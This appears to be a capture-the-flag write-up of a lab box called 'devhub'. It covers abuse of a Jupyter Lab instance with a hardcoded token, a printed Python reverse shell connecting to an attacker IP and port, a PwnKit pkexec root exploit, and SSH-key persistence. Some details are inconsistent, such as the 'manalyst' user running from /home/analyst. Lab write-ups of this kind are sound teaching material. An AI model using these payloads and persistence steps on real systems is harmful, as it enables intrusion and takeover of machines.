overview
devhub is a medium linux box simulating an internal development platform. the web application exposes an attack surface that leads to a low-privilege shell, from which a jupyter lab instance running on localhost with a hardcoded token is discovered. abusing the jupyter kernel api over websocket delivers a reverse shell as the manalyst user. privilege escalation to root exploits a suid pkexec binary via pwnkit.
enumeration
nmap scan
nmap -sC -sV -T4 -oA nmap_initial 10.129.103.74
two ports open:
- port 22: openssh 8.9p1 (ubuntu)
- port 80: nginx 1.18.0, "devhub - internal development platform"
web application exploitation
the devhub platform presented an internal developer dashboard. enumeration of the web application uncovered a vulnerability that provided initial code execution on the box, landing a shell as a low-privilege user. from this foothold, system enumeration was performed to identify paths to privilege escalation.
jupyter lab discovery
running linpeas.sh highlighted a jupyter lab process owned by manalyst, listening on localhost port 8888 with a static token hardcoded in the startup command:
/home/analyst/jupyter-env/bin/python3 \
/home/analyst/jupyter-env/bin/jupyter-lab \
--ip=127.0.0.1 --port=8888 --no-browser \
--notebook-dir=/home/analyst/notebooks \
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
the jupyter rest api requires only this token for authentication, making it fully accessible from the existing low-privilege shell via localhost.
jupyter kernel rce
the jupyter api allows creating a python kernel and executing arbitrary code through it. a kernel was created via the rest api, then a websocket connection to the kernel's channel was used to send an execute_request message containing a python reverse shell:
# Step 1, create kernel
curl -s -X POST http://localhost:8888/api/kernels \
-H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{"name":"python3"}'
# Step 2, connect via WebSocket and execute reverse shell
# (kernel_id from step 1 response)
python3 jupyter_ws.py # WebSocket client delivering shell payload
the payload executed in the kernel's context:
import socket,subprocess,os
s=socket.socket()
s.connect(("10.10.14.17",4446))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
the listener caught a shell as manalyst. user flag retrieved.
privilege escalation, pwnkit (pkexec suid)
further enumeration revealed /usr/bin/pkexec with the suid bit set:
-rwsr-xr-x 1 root root 30872 /usr/bin/pkexec
pwnkit exploits a memory corruption vulnerability in pkexec to execute code as root. a compiled shared object was delivered to the target and the exploit was triggered:
# Compile exploit shared object
gcc -shared -fPIC -nostartfiles -o /tmp/pwnkit/lol.so /tmp/pwnkit/pwnkit.c
# Execute via pkexec
python3 pwnkit.py /usr/bin/pkexec lol.so lol VALUE
an ssh public key was added to /root/.ssh/authorized_keys through the root shell, providing persistent access:
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-ed25519 AAAA..." >> ~/.ssh/authorized_keys
ssh -i analyst_devhub root@devhub.htb
key takeaways
this box illustrates two real-world mistakes that compound each other: exposing an internal service (jupyter lab) on localhost with a static hardcoded token, discoverable through process enumeration, and leaving a suid pkexec on a vulnerable version. neither mistake alone is fatal in isolation, but together they form a complete root chain. jupyter notebooks should never be run with static tokens in production environments.